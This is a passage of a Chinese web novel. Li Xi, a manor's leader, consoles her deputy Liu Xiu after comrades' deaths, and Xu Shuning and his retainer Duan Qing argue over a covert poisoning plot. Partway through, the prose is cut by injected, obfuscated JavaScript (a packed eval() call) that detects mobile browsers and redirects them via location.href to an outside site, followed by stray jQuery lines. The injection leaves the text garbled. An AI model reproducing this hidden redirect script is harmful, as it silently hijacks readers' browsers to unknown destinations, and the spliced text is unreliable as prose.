“兄弟们的后事要好好操办,若有家人,好好安置。”李熙对陈识道,陈识点点头:“知道的。”
李熙继而看向刘秀:“事已至此,只能说还好你没事。”
刘秀重重点头:“那些卑鄙的稚蛮兵!迟早有一天,我要为兄弟们报仇!”
“那一天,不会远。”李熙回道。
她理了理衣裳,看向门外的一大堆人:“走吧,你们来得正好,今日还有正事要做。”
“正事?”刘秀问道。
“咱们虽然忙得脚不着地,但是朝我们涌来的事情却一点不会少。三日前的交易,今日该有个结果了。”李熙缓缓说道。
刘秀这才想起来是什么事情,她冷笑一声:“这接连不断发生的一桩桩一件件事情,倒是像生怕我们应付过来了。这边兄弟们尸骨未寒,那边又要给杀害兄弟们的帮凶做交易,我真是恨。”
李熙淡淡掀起眼皮:“与其恨他们,不如恨我,归根结底,他们是因为我的决定才枉送了性命。”
刘秀闻言心里一惊,她连忙道:“主子,我没有这样想。”
李熙当然知道刘秀的想法并非如此,随即道:“我知道。秀秀,我们杀了日月堂那么大的威风他们仍旧敢耐着脾气跟我们做交易,这是为何?不是他们不恨我们,只是利益大过了恨意。越到这个时候越要沉心静气,你越生气,敌人就会越得意,等你气得跳脚露出马脚,敌人的目标就达到了。所以,与其你恨他们,不如恨我,起码,这样你面对他们的时候会冷静很多。”
她说完缓缓离去。
李熙从不畏惧被人记恨,哪怕是亲近的人。她唯一怕的就是能力不足,最后如砧板上的肉任人宰割。
刘秀抿了抿唇,她深知李熙的话是对的,可是那些兄弟都是他们朝夕相处,历经生死的伙伴,心里的气又哪里那么容易被控制。
陈识拍了拍刘秀的肩,道:“要报仇何时都不晚,但是现在走错一步我们就可能再也报不了兄弟们的仇了。我现在只庆幸二当家你活了下来,不然庄里的其他兄弟一定会更难过。”
庄子里的兄弟们跟着庄主,早就把生死置之度外,哪怕死大家心里都是有数的,不会那么惶恐不安。但是,庄子里那几人绝对不能出事,二当家刘秀,三当家刘康,最重要的……陈识看向李熙的背影,最重要的人是她。这几人是庄子的主心骨,他们若出事,那庄子就再也没有希望了。所以今日陈识才会那么着急来找李熙。
刘秀点头:“我知道了。”
她拳心松开,像是想开了,小跑准备跟上李熙。
“要走了?”这时,不远处传来声音。
刘秀转头看见了许舒宁,她又看向门口,李熙早就出去了,恐怕没听见许舒宁的话。
“我蒸了馒头,你们路上吃。她的身体看上去虽然很好,可胃不好,以前总疼,你路上叮嘱她吃点东西。”许舒宁将手中好多馒头递给刘秀,他口中的那个“她”除了李熙应该再无别人了。
刘秀愣了愣,掂量了一下这袋馒头的重量:“你刚刚一直在?你怎么不自己给她?”
他笑了笑:“你们不是有很重要的事情要去做吗?我如果出来,她肯定又为难了。”
还挺善解人意,嗯,也很贤惠。刘秀微微点头,越看许舒宁越觉得满意。
她拍了拍许舒宁的肩膀:“我以前一直以为你是个麻烦的拖油瓶,没想到是个花瓶瓶,还是个挺不错的花瓶瓶,这两日我算是对你改观了。你且放心,我会叮嘱主子吃饭的,你就别担心了。你嘛,就在家好好调养身体,你的好日子在后头呢!”
许舒宁听得哭笑不得,这刘姑娘说话还真直白,他是不是还得谢谢她对自己改观?
许舒宁微微一笑:“多谢姑娘吉言了。”
“好说好说。”刘秀心中一下子舒坦下来,虽然这几日没遇见好事,但是起码知道了许舒宁是个知冷知热的人,她替主子开心。
“陈识,走吧,别让主子等太久。”
“好。”
二人便追了出去。
“来了?”李熙等了好一会儿才等到二人出来,她目光在刘秀手中的包袱上微微停留了一瞬。她记得刘秀昨夜并没有带什么东西来吧?
刘秀下一刻就道:“主子,这是夫人给您做的馒头!热乎乎香喷喷的呢!”
李熙:“?”
夫、夫人?
李熙疑惑地微微偏头:“谁家夫人?”
刘秀蹦蹦跳跳过来将馒头往她怀里一推:“当然是你家夫人啦!”
李熙:“?”
“就是许舒宁,。嘿嘿。”刘秀掩着嘴偷笑。
李熙:“……胡说什么。”
刘秀却理直气壮道:“您可是李庄的庄主,英明神武,博学多才,多智近妖,厉害得不得了!许舒宁要想和您一起,只能是入赘,他自然就是李庄的庄主夫人咯!我叫夫人哪儿错了?”
李熙一时无言,竟不知道如何反驳,她沉默片刻,话变得更加苍白无力:“别胡说八道。”
刘秀嘻嘻一笑,并不搭理李熙。
李熙看着她的笑,却有些奇怪:“你以前不是不太喜欢许舒宁吗?现在好像不一样了?”
刘秀解下缰绳,牵着马走回来,闻言回道:“我以前是不喜欢他,谁叫他是个拖油瓶,一会儿又病了一会儿又伤了,害得您辛苦照料。可是现在,我却觉得,有人等您回家挺好的,只要您不觉得孤单……”
在刘秀心里,她太苦了,小小年纪就思虑过度,也许,只有在这个家里,她才不会想那么多,能做个单纯的人。
李熙偏头看向刘秀,她垂着头,轻轻抚摸着马鬓,说话声音又轻又柔,不符合她一贯的风格。
原来,大大咧咧的刘秀也有心思敏感的一面。李熙伸手揉了揉她的发顶:“你不用想那么多,一直做那个大大咧咧的刘秀就行了。其他的,交给我。”
刘秀愣愣抬眸看向李熙:“可是你太苦了。”
李熙那一句轻飘飘的“其他的,交给我”,并非一句空话,而是李熙一直在做的,更因为如此,刘秀才心疼她。以前讨厌许舒宁也是因为,他明明比她年长却一直让她辛苦,这让刘秀很看不起,可是后来她又想,她们与许舒宁又有什么区别呢,她刘秀又有什么资格去看不起许舒宁?
李熙的手改揉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311480|157348||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为拍,用了些力气盖下刘秀的脑袋:“想那么多做什么,若有这个心思,不如多想想怎么应对稚蛮兵。”
刘秀倒吸了口凉气,疼的。
她连忙抱怨起来:“哎哟,您下手可真不轻。”
李熙勾了勾唇:“轻了你就会想多余的事情,还不如让你多回忆回忆疼痛。”
她伸手从刘秀手中接过缰绳,拉着马就走:“走吧,马儿。”
“您老是这样。”刘秀嘟囔了一句,连忙追上李熙。
陈识看着看着松了口气:只要看着她们,就好像能放松下来,就像是哪怕在绝境里,只要庄主在,所有人都会觉得总有办法的。可是这也是一把双刃剑,因为他们的弱点也格外明显。陈识看着她们,隐隐有些担心。
送走了刘秀他们,许舒宁回到厨房,他坐在小凳子上,轻轻扇着热着药罐的陶炉下的火。
在浓郁的面香中,一道阴影落下。
许舒宁垂眸,脸上笑意退去,倒有几分冷若冰霜。
他头也不抬就问:“最近县衙那边怎么样?”
“按计划进行。”段青回道。
许舒宁微微颔首,不再说话。
段青便一直站在一旁,小心翼翼看许舒宁。
许舒宁注意到,问道:“怎么了?”
段青犹豫了一下还是问了出来:“公子所放毒药是否太轻?这几日属下见到方家那小子常穿那件衣裳,可是却并没有什么异样……”
许舒宁扇风的手一顿,随即面不改色道:“你急什么?既然常穿,那迟早会出事,等着就行了。何况现在大战在即,再怎么你我也是南朝人,应该祈祷他在大战胜利之后再死,否则你我就会成为南朝的罪人。”
段青抿了抿唇,试探性问道:“公子是故意放轻了用量?”
许舒宁淡淡掀起眼眸:“你可知什么叫大局为重?”
段青很不甘心:“可是这是我们除了他最好的机会!”
许舒宁勾了勾唇,似笑非笑:“所以就可以叛国?段青,你还真是变得彻底。”
段青一时语塞。
顿了顿,他狐疑道:“公子不会是因为李熙姑娘才这样的吧?”
许舒宁此刻真的对他失望到了极点:“相比于因为国家大义,你更希望我是因为私心对吗?这样对比之下,就显得你不那么卑劣,对吗?段青,我不知道你这些年经历了什么,但是你走偏了。”
“我只是为了给老爷夫人报仇!”段青反驳道。
火光在许舒宁眼中跳动:“是吗?希望如此吧。”
“公子,属下倒是希望你知道自己在做什么!”段青一双眼睛死死瞪着许舒宁。
许舒宁没有抬头,只是再往陶炉里加了一把火:“段青,我知道自己在做什么,可是你知道自己在做什么吗?还有,你不必自称属下了,你扪心自问,你现在是谁的属下。”
段青浑身一僵,他躲躲闪闪道:“当、当然是您的属下!”
许舒宁余光将他不自然的神情看在眼里,又才低头看向那火光:“看来你有一点还是没变,学不会撒谎。段青,我不在乎你为了谁,但是,不要教我做事。”